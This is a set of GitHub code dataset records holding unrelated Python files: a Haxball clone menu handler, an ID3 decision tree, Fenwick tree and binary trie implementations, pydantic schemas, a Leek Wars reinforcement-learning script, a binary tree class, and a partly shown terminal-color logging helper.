item.w:\r\n                if item.y <= mousePos[1] and  mousePos[1] <= item.y + item.h:\r\n                    dropdownSelectedItem = item\r\n                    overDropdownList = True\r\n\r\n                    if mouseWasPressed[0] and not mousePressed[0]:\r\n                        item.f( item.argument)\r\n                        dropdownListBox.string = item.string\r\n                        dropdownListBox.update()\r\n                        isDropdownListActive = False\r\n                        \r\n        if mousePressed[0] and not overDropdownList:\r\n            isDropdownListActive = False\r\n    \r\n    if isDragging:\r\n        if not mousePressed[0]:\r\n            isDragging = False\r\n\r\n            if redTeamBox.isOver or blueTeamBox.isOver or spectatorTeamBox.isOver:\r\n                if selectedPlayerBar.player.team == \"RED\":\r\n                    gameHandler.redPlayersCount -= 1\r\n                elif selectedPlayerBar.player.team == \"NONE\":\r\n                    gameHandler.spectatorsCount -= 1\r\n                else:\r\n                    gameHandler.bluePlayersCount -= 1\r\n                \r\n                for bar in playerBarList:\r\n                    if bar.player.team == selectedPlayerBar.player.team:\r\n                        if bar.pos > selectedPlayerBar.pos:\r\n                            bar.pos -= 1\r\n                            bar.updateCoordinates()\r\n                            bar.updateName()\r\n\r\n                if redTeamBox.isOver:\r\n                    gameHandler.redPlayersCount += 1\r\n                    if selectedPlayerBar.player.team != \"RED\":\r\n                        selectedPlayerBar.player.team = \"RED\"\r\n                        gameHandler.putPlayerOnPitch( selectedPlayerBar.player)\r\n                    selectedPlayerBar.pos = gameHandler.redPlayersCount\r\n                elif spectatorTeamBox.isOver:\r\n                    gameHandler.spectatorsCount += 1\r\n                    if selectedPlayerBar.player.team != \"NONE\":\r\n                        selectedPlayerBar.player.team = \"NONE\"\r\n                        gameHandler.putPlayerOnPitch( selectedPlayerBar.player)\r\n                    selectedPlayerBar.pos = gameHandler.spectatorsCount\r\n                elif blueTeamBox.isOver:\r\n                    gameHandler.bluePlayersCount += 1\r\n                    if selectedPlayerBar.player.team != \"BLUE\":\r\n                        selectedPlayerBar.player.team = \"BLUE\"\r\n                        gameHandler.putPlayerOnPitch( selectedPlayerBar.player)\r\n                    selectedPlayerBar.pos = gameHandler.bluePlayersCount\r\n\r\n            selectedPlayerBar.updateCoordinates()\r\n            selectedPlayerBar.updateName()\r\n                            \r\n        else:\r\n            selectedPlayerBar.x = mousePos[0] - dragPointX\r\n            selectedPlayerBar.y = mousePos[1] - dragPointY\r\n            selectedPlayerBar.updateName()\r\n\r\n    for bar in playerBarList:\r\n        bar.isOver = False\r\n        if bar.x <= mousePos[0] and  mousePos[0] <= bar.x + bar.w and not isDragging:\r\n            if bar.y <= mousePos[1] and  mousePos[1] <= bar.y + bar.h:\r\n                bar.isOver = True\r\n        if bar == selectedPlayerBar and isDragging:\r\n            bar.isOver = True\r\n\r\n        if gameSection == 1 and bar.isOver and mousePressed[0] and not mouseWasPressed[0]:\r\n            isDragging = True\r\n            selectedPlayerBar = bar\r\n            playerBarList[ playerBarList.index( bar) ], playerBarList[ len(playerBarList)-1]  = playerBarList[ len(playerBarList)-1], playerBarList[ playerBarList.index( bar) ]\r\n            #swaping dragged player bar with the last in the list so it won't be overlapped\r\n            dragPointX = mousePos[0] - bar.x\r\n            dragPointY = mousePos[1] - bar.y\r\n\r\n        if bar.isOver and mousePressed[2] and not mouseWasPressed[2]:\r\n            bar.openOptions()\r\n","repo_name":"Chylb/Haxball-Clone","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":25495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"19233742449","text":"import numpy as np\nfrom pprint import pprint\n\nattribute = {1: 'Credit History', 2: 'Wealth', 3: 'Assets'}\ndef entropy(x):\n    res = 0\n    val, counts = np.unique (x, return_counts=True)\n    freqs = counts.astype ('float') / len (x)\n    for p in freqs:\n        if p != 0.0:\n            res -= p * np.log2 (p)\n    return res\n\n\ndef Entropy_gain(y, x):\n    res = entropy (y)\n    val, counts = np.unique (x, return_counts=True)\n    freqs = counts.astype ('float') / len (x)\n\n    for p, v in zip (freqs, val):\n        res -= p * entropy (y[x == v])\n    return res\n\n\ndef divide(a):\n    return {b: (a == b).nonzero ()[0] for b in np.unique (a)}\n\n\ndef split(x, y):\n    if len (set (y)) == 1 or len (y) == 0:\n        return y\n    gain = np.array ([Entropy_gain (y, x_attr) for x_attr in x.T])\n    selected_attr = np.argmax (gain)\n    if np.all (gain < 1e-6):\n        return y\n\n    sets = divide (x[:, selected_attr])\n    res = {}\n    for k, v in sets.items ():\n        y_subset = y.take (v, axis=0)\n        x_subset = x.take (v, axis=0)\n        res[\"%s = %d\" % (attribute[selected_attr + 1], k)] = \\\n            split (x_subset, y_subset)\n\n    return res\n\n\nx1 = [0, 0, 1, 1, 2, 2]\nx2 = [0, 1, 1, 0, 0, 1]\nx3 = [1, 0, 0, 0, 1, 1]\ny = np.array ([0, 0, 1, 0, 1, 1])\n\nX = np.array ([x1, x2, x3]).T\npprint(split (X, y))","repo_name":"engcomAndre/Academics","sub_path":"ID3-Entropy/ID3.py","file_name":"ID3.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"36210781775","text":"\r\n# Python program to demonstrate Range Update\r\n# and Range Queries using BIT\r\n  \r\n# Returns sum of arr[0..index]. This function assumes\r\n# that the array is preprocessed and partial sums of\r\n# array elements are stored in BITree[]\r\ndef getSum(BITree: list, index: int) -> int:\r\n    summ = 0 # Initialize result\r\n  \r\n    # index in BITree[] is 1 more than the index in arr[]\r\n    index = index + 1\r\n  \r\n    # Traverse ancestors of BITree[index]\r\n    while index > 0:\r\n  \r\n        # Add current element of BITree to sum\r\n        summ += BITree[index]\r\n  \r\n        # Move index to parent node in getSum View\r\n        index -= index & (-index)\r\n    return summ\r\n  \r\n# Updates a node in Binary Index Tree (BITree) at given\r\n# index in BITree. The given value 'val' is added to\r\n# BITree[i] and all of its ancestors in tree.\r\ndef updateBit(BITTree: list, n: int, index: int, val: int) -> None:\r\n  \r\n    # index in BITree[] is 1 more than the index in arr[]\r\n    index = index + 1\r\n  \r\n    # Traverse all ancestors and add 'val'\r\n    while index <= n:\r\n  \r\n        # Add 'val' to current node of BI Tree\r\n        BITTree[index] += val\r\n  \r\n        # Update index to that of parent in update View\r\n        index += index & (-index)\r\n  \r\n  \r\n# Returns the sum of array from [0, x]\r\ndef summation(x: int, BITTree1: list, BITTree2: list) -> int:\r\n    return (getSum(BITTree1, x) * x) - getSum(BITTree2, x)\r\n  \r\n  \r\ndef updateRange(BITTree1: list, BITTree2: list, n: int, val: int, l: int,\r\n                r: int) -> None:\r\n  \r\n    # Update Both the Binary Index Trees\r\n    # As discussed in the article\r\n  \r\n    # Update BIT1\r\n    updateBit(BITTree1, n, l, val)\r\n    updateBit(BITTree1, n, r + 1, -val)\r\n  \r\n    # Update BIT2\r\n    updateBit(BITTree2, n, l, val * (l - 1))\r\n    updateBit(BITTree2, n, r + 1, -val * r)\r\n  \r\ndef rangeSum(l: int, r: int, BITTree1: list, BITTree2: list) -> int:\r\n  \r\n    # Find sum from [0,r] then subtract sum\r\n    # from [0,l-1] in order to find sum from\r\n    # [l,r]\r\n    return summation(r, BITTree1, BITTree2) - summation(\r\n        l - 1, BITTree1, BITTree2)\r\n  \r\n# Driver Code\r\nif __name__ == \"__main__\":\r\n    n = 5\r\n  \r\n    # BIT1 to get element at any index\r\n    # in the array\r\n    BITTree1 = [0] * (n + 1)\r\n  \r\n    # BIT 2 maintains the extra term\r\n    # which needs to be subtracted\r\n    BITTree2 = [0] * (n + 1)\r\n  \r\n    # Add 5 to all the elements from [0,4]\r\n    l = 0\r\n    r = 4\r\n    val = 5\r\n    updateRange(BITTree1, BITTree2, n, val, l, r)\r\n  \r\n    # Add 2 to all the elements from [2,4]\r\n    l = 2\r\n    r = 4\r\n    val = 10\r\n    updateRange(BITTree1, BITTree2, n, val, l, r)\r\n    l =1\r\n    r = 1\r\n    val=-10\r\n    updateRange(BITTree1, BITTree2, n, val, l, r)\r\n    # Find sum of all the elements from\r\n    # [1,4]\r\n    l = 1\r\n    r = 4\r\n    print(\"Sum of elements from [%d,%d] is %d\" %\r\n        (l, r, rangeSum(l, r, BITTree1, BITTree2)))\r\n\r\n\r\n\r\n\r\nclass BIT:\r\n    def __init__(self, n):\r\n        self._n = n\r\n        self.data = [0] * n\r\n \r\n    def add(self, p, x):\r\n        assert 0 <= p < self._n\r\n        p += 1\r\n        while p <= self._n:\r\n            self.data[p - 1] += x\r\n            p += p & -p\r\n \r\n    def sumrange(self, l, r):\r\n        assert 0 <= l <= r <= self._n\r\n        return self._sum(r) - self._sum(l)\r\n \r\n    def _sum(self, r):\r\n        s = 0\r\n        while r > 0:\r\n            s += self.data[r - 1]\r\n            r -= r & -r\r\n        return s\r\n\r\n\r\n\r\n\r\n\r\n\r\nclass BinaryTrie:\r\n    \"\"\"\r\n    Reference: \r\n     - https://atcoder.jp/contests/arc028/submissions/19916627\r\n     - https://judge.yosupo.jp/submission/35057\r\n    \"\"\"\r\n \r\n    def __init__(self, max_log: int = 60, allow_multiple_elements: bool = True, add_query_limit: int = 10 ** 6):\r\n        self.max_log = max_log\r\n        self.x_end = (1 << max_log)\r\n        self.v_list = [0] * (max_log + 1)\r\n        self.multiset = allow_multiple_elements\r\n        self.add_query_count = 0\r\n        self.add_query_limit = add_query_limit\r\n        n = max_log * add_query_limit + 1\r\n        self.edges = [-1] * (2 * n)\r\n        self.size = [0] * n\r\n        self.is_end = [0] * n\r\n        self.max_v = 0\r\n        self.lazy = 0\r\n\r\n    def xor_all(self, x: int):\r\n        # assert 0 <= x < self.x_end\r\n        self.lazy ^= x\r\n\r\n    def __ixor__(self, x: int):\r\n        self.xor_all(x)\r\n        return self\r\n\r\n    def add(self, x: int):\r\n        # assert 0 <= x < self.x_end\r\n        # assert 0 <= self.add_query_count < self.add_query_limit\r\n        x ^= self.lazy\r\n        v = 0\r\n        for i in reversed(range(self.max_log)):\r\n            d = (x >> i) % 2\r\n            if self.edges[2 * v + d] == -1:\r\n                self.max_v += 1\r\n                self.edges[2 * v + d] = self.max_v\r\n            v = self.edges[2 * v + d]\r\n            self.v_list[i] = v\r\n        if self.multiset or self.is_end[v] == 0:\r\n            self.is_end[v] += 1\r\n            for v in self.v_list:\r\n                self.size[v] += 1\r\n        self.add_query_count += 1\r\n\r\n    def discard(self, x: int):\r\n        if not 0 <= x < self.x_end:\r\n            return\r\n        x ^= self.lazy\r\n        v = 0\r\n        for i in reversed(range(self.max_log)):\r\n            d = (x >> i) % 2\r\n            if self.edges[2 * v + d] == -1:\r\n                return\r\n            v = self.edges[2 * v + d]\r\n            self.v_list[i] = v\r\n        if self.is_end[v] > 0:\r\n            self.is_end[v] -= 1\r\n            for v in self.v_list:\r\n                self.size[v] -= 1\r\n\r\n    def erase(self, x: int, count: int = -1):\r\n        # assert -1 <= count\r\n        if not 0 <= x < self.x_end:\r\n            return\r\n        x ^= self.lazy\r\n        v = 0\r\n        for i in reversed(range(self.max_log)):\r\n            d = (x >> i) % 2\r\n            if self.edges[2 * v + d] == -1:\r\n                return\r\n            v = self.edges[2 * v + d]\r\n            self.v_list[i] = v\r\n        if count == -1 or self.is_end[v] < count:\r\n            count = self.is_end[v]\r\n        if self.is_end[v] > 0:\r\n            self.is_end[v] -= count\r\n            for v in self.v_list:\r\n                self.size[v] -= count\r\n\r\n    def count(self, x: int) -> int:\r\n        if not 0 <= x < self.x_end:\r\n            return 0\r\n        x ^= self.lazy\r\n        v = 0\r\n        for i in reversed(range(self.max_log)):\r\n            d = (x >> i) % 2\r\n            if self.edges[2 * v + d] == -1:\r\n                return 0\r\n            v = self.edges[2 * v + d]\r\n        return self.is_end[v]\r\n\r\n    def __contains__(self, x: int) -> bool:\r\n        return bool(self.count(x))\r\n\r\n    def __len__(self):\r\n        return self.size[0]\r\n\r\n    def __bool__(self):\r\n        return bool(len(self))\r\n\r\n    def bisect_left(self, x: int) -> int:\r\n        if x < 0:\r\n            return 0\r\n        if self.x_end <= x:\r\n            return len(self)\r\n        v = 0\r\n        ret = 0\r\n        for i in reversed(range(self.max_log)):\r\n            d = (x >> i) % 2\r\n            l = (self.lazy >> i) % 2\r\n            lc = self.edges[2*v]\r\n            rc = self.edges[2*v+1]\r\n            if l == 1:\r\n                lc, rc = rc, lc\r\n            if d:\r\n                if lc != -1:\r\n                    ret += self.size[lc]\r\n                if rc == -1:\r\n                    return ret\r\n                v = rc\r\n            else:\r\n                if lc == -1:\r\n                    return ret\r\n                v = lc\r\n        return ret\r\n\r\n    def bisect_right(self, x: int) -> int:\r\n        return self.bisect_left(x + 1)\r\n\r\n    def index(self, x: int) -> int:\r\n        if x not in self:\r\n            raise ValueError(f\"{x} is not in BinaryTrie\")\r\n        return self.bisect_left(x)\r\n\r\n    def find(self, x: int) -> int:\r\n        if x not in self:\r\n            return -1\r\n        return self.bisect_left(x)\r\n\r\n    def kth_elem(self, k: int) -> int:\r\n        if k < 0:\r\n            k += self.size[0]\r\n        # assert 0 <= k < self.size[0]\r\n        v = 0\r\n        ret = 0\r\n        for i in reversed(range(self.max_log)):\r\n            l = (self.lazy >> i) % 2\r\n            lc = self.edges[2*v]\r\n            rc = self.edges[2*v+1]\r\n            if l == 1:\r\n                lc, rc = rc, lc\r\n            if lc == -1:\r\n                v = rc\r\n                ret |= 1 << i\r\n                continue\r\n            if self.size[lc] <= k:\r\n                k -= self.size[lc]\r\n                v = rc\r\n                ret |= 1 << i\r\n            else:\r\n                v = lc\r\n        return ret\r\n\r\n    def minimum(self) -> int:\r\n        return self.kth_elem(0)\r\n\r\n    def maximum(self) -> int:\r\n        return self.kth_elem(-1)\r\n\r\n    def __iter__(self):\r\n        q = [(0, 0)]\r\n        for i in reversed(range(self.max_log)):\r\n            l = (self.lazy >> i) % 2\r\n            nq = []\r\n            for v, x in q:\r\n                lc = self.edges[2*v]\r\n                rc = self.edges[2*v+1]\r\n                if l == 1:\r\n                    lc, rc = rc, lc\r\n                if lc != -1:\r\n                    nq.append((lc, 2 * x))\r\n                if rc != -1:\r\n                    nq.append((rc, 2 * x + 1))\r\n            q = nq\r\n        for v, x in q:\r\n            for _ in range(self.is_end[v]):\r\n                yield x\r\n\r\n    def __str__(self):\r\n        prefix = \"BinaryTrie(\"\r\n        content = list(map(str, self))\r\n        suffix = \")\"\r\n        if content:\r\n            content[0] = prefix + content[0]\r\n            content[-1] = content[-1] + suffix\r\n        else:\r\n            content = [prefix + suffix]\r\n        return ', '.join(content)\r\n\r\n    def __getitem__(self, k):\r\n        return self.kth_elem(k)\r\n\r\n\r\nfrom heapq import *\r\n \r\nN, Q = map(int, input().split())\r\nSTXs = [tuple(map(int, input().split())) for _ in range(N)]\r\nDs = [int(input()) for _ in range(Q)]\r\n \r\ni2X = sorted(map(lambda t: t[2], STXs))\r\nX2i = {X:i for i, X in enumerate(i2X)}\r\nmax_i = len(i2X) - 1\r\nmbit = BinaryTrie(max_log=30, allow_multiple_elements=True, add_query_limit=2*10**5)\r\n \r\n\r\n \r\n\r\nclass Bit:\r\n    def __init__(self, n):\r\n        self.size = n\r\n        self.tree = [0] * (n + 1)\r\n\r\n    def sum(self, i):\r\n        s = 0\r\n        while i > 0:\r\n            s += self.tree[i]\r\n            i -= i & -i\r\n        return s\r\n\r\n    def add(self, i, x):\r\n        while i <= self.size:\r\n            self.tree[i] += x\r\n            i += i & -i\r\nclass RangeUpdate:\r\n    #1 -index 1~n\r\n    def __init__(self, n):\r\n        self.p = Bit(n + 1)\r\n        self.q = Bit(n + 1)\r\n     \r\n    def add(self, s, t, x):\r\n        t += 1\r\n        self.p.add(s, -x * s)\r\n        self.p.add(t, x * t)\r\n        self.q.add(s, x)\r\n        self.q.add(t, -x)\r\n     \r\n    def sum(self, s, t):\r\n        t += 1\r\n        return self.p.sum(t) + self.q.sum(t) * t - \\\r\n               self.p.sum(s) - self.q.sum(s) * s","repo_name":"to24toro/Atcoder","sub_path":"function/BIT.py","file_name":"BIT.py","file_ext":"py","file_size_in_byte":10652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42022012807","text":"from pydantic import BaseModel, Field\n\nclass CreateListSchema(BaseModel):\n    title: str = Field(...)\n    uid: str = Field(...)\n\n    class Config:\n        schema_extra = {\n            \"example\": {\n                \"title\": \"Sample Title\",\n                \"uid\": \"123456-1234-1234-123456\"\n            }\n        }\n\nclass UpdateListSchema(BaseModel):\n    lid: str = Field(...)\n    title: str = Field(...)\n\n    class Config:\n        schema_extra = {\n            \"example\": {\n                \"lid\": \"123456-1234-1234-123456\",\n                \"title\": \"Sample Title\"\n            }\n        }","repo_name":"thephilippbusch/Bubble","sub_path":"server/schemas/lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30536404314","text":"import os\nimport sys\nimport json\nimport random\nimport collections\nimport numpy as np\nfrom alive_progress import alive_bar\nfrom time import sleep\n\n\nprint (\"This is the name of the script: \", sys.argv[0])\nprint (\"Number of arguments: \", len(sys.argv))\nprint (\"The arguments are: \" , str(sys.argv))\n\nif(len(sys.argv) != 2):\n    print(\"Utilisation : RL.py nombreDeCombats\")\n    exit(1)\n\nnbFight = int(sys.argv[1]) \ntabAssociatif = {}\ntabRL = []\nfile_scenario = \"test/scenario/scenario-lvl301.json\"\n\nfreeIndex = 0\n\n    \nwith open('test/ai/IA-train.leek', 'w') as f:\n    f.write(\"\")\n    f.close()\n\nwith alive_bar(nbFight) as bar:\n    for i in range(nbFight) : \n        with open(file_scenario) as jsonFile:\n            scenario = json.load(jsonFile)\n            jsonFile.close()\n\n        scenario[\"random_seed\"] = random.randint(0,10000000)\n\n        with open(file_scenario, 'w') as f:\n            json.dump(scenario, f)\n        \n        fileName = 'resultat.json'\n        \n        os.system('java -jar generator.jar '+ file_scenario +' > ' + fileName)\n        \n        \n        with open(fileName, \"r\") as f:\n            lines = f.readlines()\n        with open(fileName, \"w\") as f:\n            for line in lines:\n                if line.strip(\"\\n\") != \"db_resolver false folder=0 farmer=0\":\n                    f.write(line)\n        \n        with open(fileName) as jsonFile:\n            resultat = json.load(jsonFile)\n            jsonFile.close()\n            \n            \n        logs = resultat['logs']['0']\n\n        sortedLogs = collections.OrderedDict(sorted(logs.items()))\n\n        winnerID = int(resultat['winner']) \n        winnerName = scenario[\"entities\"][winnerID][0][\"name\"]\n        duration = resultat[\"duration\"]\n        execution_time = resultat[\"execution_time\"]\n\n        print(\"Combat \" + str(i + 1) + \" : Winner -> \" + winnerName + \" // Duree : \" + str(duration) + \" tours // Temps : \" +  str(execution_time / 10000000) + \" sec\")\n        \n\n        for log in sortedLogs: \n            rl = str(sortedLogs[log][0][2])\n            rl = rl.split('/')\n            #print(rl)\n            #tabRL[rl[0]] = int(rl[1])\n\n            maxCpt = 0\n            maxVector = \"\"\n            if rl[0] not in tabAssociatif :\n                if freeIndex == 130 :\n                    for k, v in tabAssociatif.items():\n                        cpt = 0\n                        print(k +\" , \"+ rl[0])\n                        for i in range(len(k)):\n                            if k[i] == rl[0][i]:\n                                cpt += 1\n                        if cpt > maxCpt:\n                            maxVector = k\n                            maxCpt = cpt\n\n                    tabRL[(tabAssociatif[maxVector]*44)+int(rl[1])] += int(rl[2])\n                else :\n                    tabAssociatif[str(rl[0])] = freeIndex\n                    for i in range(44):\n                        tabRL.append(1)\n                    if int(rl[2]) == 0 :\n                        tabRL[(freeIndex*44)+int(rl[1])] = 1\n                        freeIndex += 1\n                    else:\n                        tabRL[(freeIndex*44)+int(rl[1])] = int(rl[2])\n                        freeIndex += 1\n            else :\n                tabRL[(tabAssociatif[rl[0]]*44)+int(rl[1])] += int(rl[2])\n\n        with open('test/ai/IA-train.leek', 'w') as f:\n            f.write(\"var tabAssiocatif = []; \\n\")\n            for elem in tabAssociatif:\n                f.write(\"tabAssiocatif['\"+str(elem)+\"'] = \"+str(tabAssociatif[elem])+\"; \\n\")\n            f.write(\"var tabRL = [ \")\n            for elem in tabRL :\n                f.write(str(elem)+\",\")\n            f.write(\"];\\n\")\n            f.write(\"\\n\")\n            f.write(\"\\n\")\n            with open('test/ai/IA-train_Script.leek',\"r\") as script:\n                for line in script.readlines():\n                    f.write(line)\n                script.close()\n            f.close()\n\n\n\n        \n\n\n        print(\"--------------------------------------------------------------\")\n        print(\"// Tableau de renforcement\")\n        print(\"global tab = [];\")\n        print(tabAssociatif)\n        print(tabRL)\n        bar()\n\n\n\n    \n\n\n\n\n","repo_name":"Harrakos/TERIALeekWars","sub_path":"leek-wars-generator/RL.py","file_name":"RL.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"35925170856","text":"class BinaryTree():\r\n    \"\"\"\r\n    A class to implement a binary tree node and by extension a full binary tree\r\n\r\n    Attributes\r\n    ----------\r\n    left - the child node to the left of the current node - data is less than parent\r\n    right - the child node to the right of the current node - data is greater than parent\r\n    data - the value of the current node\r\n\r\n    Methods\r\n    -------\r\n    findMax - finds max value in the tree\r\n    findVal - finds a value in the tree and returns true/false based on result\r\n    binarySearch - performs a binary search to look for a value - same purpose as findVal\r\n    printAll - prints all values in the binary tree using a breadth first method\r\n    insert - inserts a new data point into the tree as a new node.\r\n    inOrder - returns an array with the tree in inorder\r\n    preOrder - same as inorder except array is in preorder\r\n    postOrder - same as inorder except array is in postorder\r\n    \"\"\"\r\n\r\n    def __init__(self,data,left,right):\r\n        self.left = left\r\n        self.right = right\r\n        dataPoints = [data]\r\n        leftExists = False\r\n        if left != None:\r\n            leftExists = True\r\n            dataPoints.append(left.data)\r\n        if right != None:\r\n            dataPoints.append(right.data)\r\n        dataPoints.sort()\r\n        if len(dataPoints) not in [1,2,3]:\r\n            raise Exception(\"Missing Parameter\")\r\n        elif len(dataPoints) == 1:\r\n            self.data = data\r\n        elif len(dataPoints) == 2:\r\n            if leftExists:\r\n                self.left.data = dataPoints[0]\r\n                self.data = dataPoints[1]\r\n            else:\r\n                self.data = dataPoints[0]\r\n                self.right.data = datapoints[1]\r\n        else:\r\n            self.left.data = dataPoints[0]\r\n            self.data = dataPoints[1]\r\n            self.right.data = dataPoints[2]\r\n\r\n    def findMax(self):\r\n        currentMax = 0\r\n        if self.left != None:\r\n            val = self.left.findMax()\r\n            if val > currentMax:\r\n                currentMax = val\r\n        if self.right != None:\r\n            val = self.right.findMax()\r\n            if val > currentMax:\r\n                currentMax = val\r\n        if self.data > currentMax:\r\n            return self.data\r\n        else:\r\n            return currentMax\r\n\r\n    def findVal(self,val):\r\n        if self.data == val:\r\n            return True\r\n        if self.left != None:\r\n            if self.left.findVal(val):\r\n                return True\r\n        if self.right != None:\r\n            if self.right.findVal(val):\r\n                return True\r\n        return False\r\n\r\n    def binarySearch(self,val):\r\n        if val == self.data:\r\n            return True\r\n        elif val < self.data and self.left != None:\r\n            return self.left.binarySearch(val)\r\n        elif val > self.data and self.right != None:\r\n            return self.right.binarySearch(val)\r\n        else:\r\n            return False\r\n\r\n    def printAll(self):\r\n        nodes = [self]\r\n        while len(nodes) > 0:\r\n            print(nodes[0].data)\r\n            if nodes[0].left != None:\r\n                nodes.append(nodes[0].left)\r\n            if nodes[0].right != None:\r\n                nodes.append(nodes[0].right)\r\n            del nodes[0]\r\n                \r\n        \r\n    def insert(self, item):\r\n        if item > self.data:\r\n            if self.right != None:\r\n                self.right.insert(item)\r\n            else:\r\n                self.right = BinaryTree(item,None,None)\r\n        else:\r\n            if self.left != None:\r\n                self.left.insert(item)\r\n            else:\r\n                self.left = BinaryTree(item,None,None)\r\n\r\n    def inOrder(self):\r\n        nodes = [self]\r\n        count = 0\r\n        while len(nodes) > count:\r\n            if isinstance(nodes[count],int):\r\n                count += 1\r\n            else:\r\n                toAdd = []\r\n                current = nodes[count]\r\n                if current.left != None:\r\n                    toAdd.insert(0,current.left)\r\n                toAdd.insert(0,current.data)\r\n                if current.right != None:\r\n                    toAdd.insert(0,current.right)\r\n                \r\n                for item in toAdd:\r\n                    nodes.insert(count,item)\r\n                del nodes[count+len(toAdd)]\r\n            \r\n        return nodes\r\n\r\n    def preOrder(self):\r\n        nodes = [self]\r\n        count = 0\r\n        while len(nodes) > count:\r\n            if isinstance(nodes[count],int):\r\n                count += 1\r\n            else:\r\n                toAdd = []\r\n                current = nodes[count]\r\n                toAdd.insert(0,current.data)\r\n                if current.left != None:\r\n                    toAdd.insert(0,current.left)\r\n                if current.right != None:\r\n                    toAdd.insert(0,current.right)\r\n                \r\n                for item in toAdd:\r\n                    nodes.insert(count,item)\r\n                del nodes[count+len(toAdd)]\r\n            \r\n        return nodes\r\n\r\n    def postOrder(self):\r\n        nodes = [self]\r\n        count = 0\r\n        while len(nodes) > count:\r\n            if isinstance(nodes[count],int):\r\n                count += 1\r\n            else:\r\n                toAdd = []\r\n                current = nodes[count]\r\n                if current.left != None:\r\n                    toAdd.insert(0,current.left)\r\n                if current.right != None:\r\n                    toAdd.insert(0,current.right)\r\n                toAdd.insert(0,current.data)\r\n                \r\n                for item in toAdd:\r\n                    nodes.insert(count,item)\r\n                del nodes[count+len(toAdd)]\r\n            \r\n        return nodes\r\n    \r\n\r\nleafOne = BinaryTree(2,None,None)\r\nleafTwo = BinaryTree(4,None,None)\r\nleafThree = BinaryTree(6,None,None)\r\nleafFour = BinaryTree(8,None,None)\r\nmiddleOne = BinaryTree(10,leafOne,leafTwo)\r\nmiddleTwo = BinaryTree(12,leafThree,leafFour)\r\nroot = BinaryTree(14,middleOne,middleTwo)\r\n\r\nroot.printAll()\r\nprint(\"\")\r\nprint(root.postOrder())\r\n","repo_name":"MagicSid/Python-Binary-Tree","sub_path":"BinaryTree.py","file_name":"BinaryTree.py","file_ext":"py","file_size_in_byte":6041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17503437702","text":"# -*- coding: utf-8 -*-\n#\n# Small helper functions for system services\n#\n# !!! This file is python 3.x compliant !!!\n#\n\nimport logging\nimport os\nimport re\nimport shlex\nimport signal\nimport subprocess\nimport sys\n\ntry:\n    import requests\n    import urllib3\n\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nexcept ImportError:\n    pass\n\n_logger = logging.getLogger(\"ultimarc\")\n\n\nclass TerminalColors(object):\n    \"\"\"\n    Simple class for setting terminal colors.\n    https://en.wikipedia.org/wiki/ANSI_escape_code\n    \"\"\"\n\n    reset = '\\033[0m'\n    bold = '\\033[1m'\n    underline = '\\033[4m'\n\n    fg_black = '\\033[38;5;0m'\n    fg_red = '\\033[38;5;1m'\n    fg_green = '\\033[38;5;2m'\n    fg_yellow = '\\033[38;5;3m'\n    fg_blue = '\\033[38;5;4m'\n    fg_magenta = '\\033[38;5;5m'\n    fg_cyan = '\\033[38;5;6m'\n    fg_white = '\\033[38;5;7m'\n\n    fg_bright_black = '\\033[38;5;8m'\n    fg_bright_red = '\\033[38;5;9m'\n    fg_bright_green = '\\033[38;5;10m'\n    fg_bright_yellow = '\\033[38;5;11m'\n    fg_bright_blue = '\\033[38;5;12m'\n    fg_bright_magenta = '\\033[38;5;13m'\n    fg_bright_cyan = '\\033[38;5;14m'\n    fg_bright_white = '\\033[38;5;15m'\n\n    bg_black = '\\033[48;5;0m'\n    bg_red = '\\033[48;5;1m'\n    bg_green = '\\033[48;5;2m'\n    bg_yellow = '\\033[48;5;3m'\n    bg_blue = '\\033[48;5;4m'\n    bg_magenta = '\\033[48;5;5m'\n    bg_cyan = '\\033[48;5;6m'\n    bg_white = '\\033[48;5;7m'\n\n    bg_bright_black = '\\033[48;5;8m'\n    bg_bright_red = '\\033[48;5;9m'\n    bg_bright_green = '\\033[48;5;10m'\n    bg_bright_yellow = '\\033[48;5;11m'\n    bg_bright_blue = '\\033[48;5;12m'\n    bg_bright_magenta = '\\033[48;5;13m'\n    bg_bright_cyan = '\\033[48;5;14m'\n    bg_bright_white = '\\033[48;5;15m'\n\n    _default_format = ''\n    _default_background = ''\n    _default_foreground = ''\n\n    def custom_fg_color(self, index: int) -> str:\n        \"\"\"\n        Get a custom color seq\n        :param index: intger 0 - 255\n        :return: string\n        \"\"\"\n        return f'\\033[38;5;{index}m'\n\n    def custom_bg_color(self, index: int) -> str:\n        \"\"\"\n        Get a custom color seq\n        :param index: intger 0 - 255\n        :return: string\n        \"\"\"\n        return f'\\033[48;5;{index}m'\n\n    def set_default_formatting(self, *args):\n        \"\"\"\n        Set the default colors for formatting.\n        :param args: list of colors.\n        \"\"\"\n        self._default_format = ''\n        for arg in args:\n            self._default_format += arg\n\n    def set_default_background(self, *args):\n        \"\"\"\n        Set default background colors\n        :param args: list of colors\n        \"\"\"\n        self._default_background = ''\n        for arg in args:\n            self._default_background += arg\n\n    def set_default_foreground(self, *args):\n        \"\"\"\n        Set default foreground colors\n        :param args: list of colors\n        \"\"\"\n        self._default_foreground = ''\n        for arg in args:\n            self._default_foreground += arg\n\n    def fmt(self, line: str, *args) -> str:\n        \"\"\"\n        Color a line of text\n        :param line: string\n        :param args: list of colors.\n        :return: string\n        \"\"\"\n        if not args:\n            l = self._default_format\n        else:\n            l = ''\n            for arg in args:\n                l += arg\n\n        l += str(line)\n        l += self.reset\n\n        l += self._default_background\n        l += self._default_foreground\n\n        return l\n\n\ntc = TerminalColors()\n\n\nclass _ToolLoggingFormatter(logging.Formatter):\n    \"\"\"\n    Add colorization to logging messages.\n    \"\"\"\n\n    _color = TerminalColors()\n\n    def format(self, record):\n        msg = super(_ToolLoggingFormatter, self).format(record)\n        if record.levelno == logging.DEBUG:\n            msg = 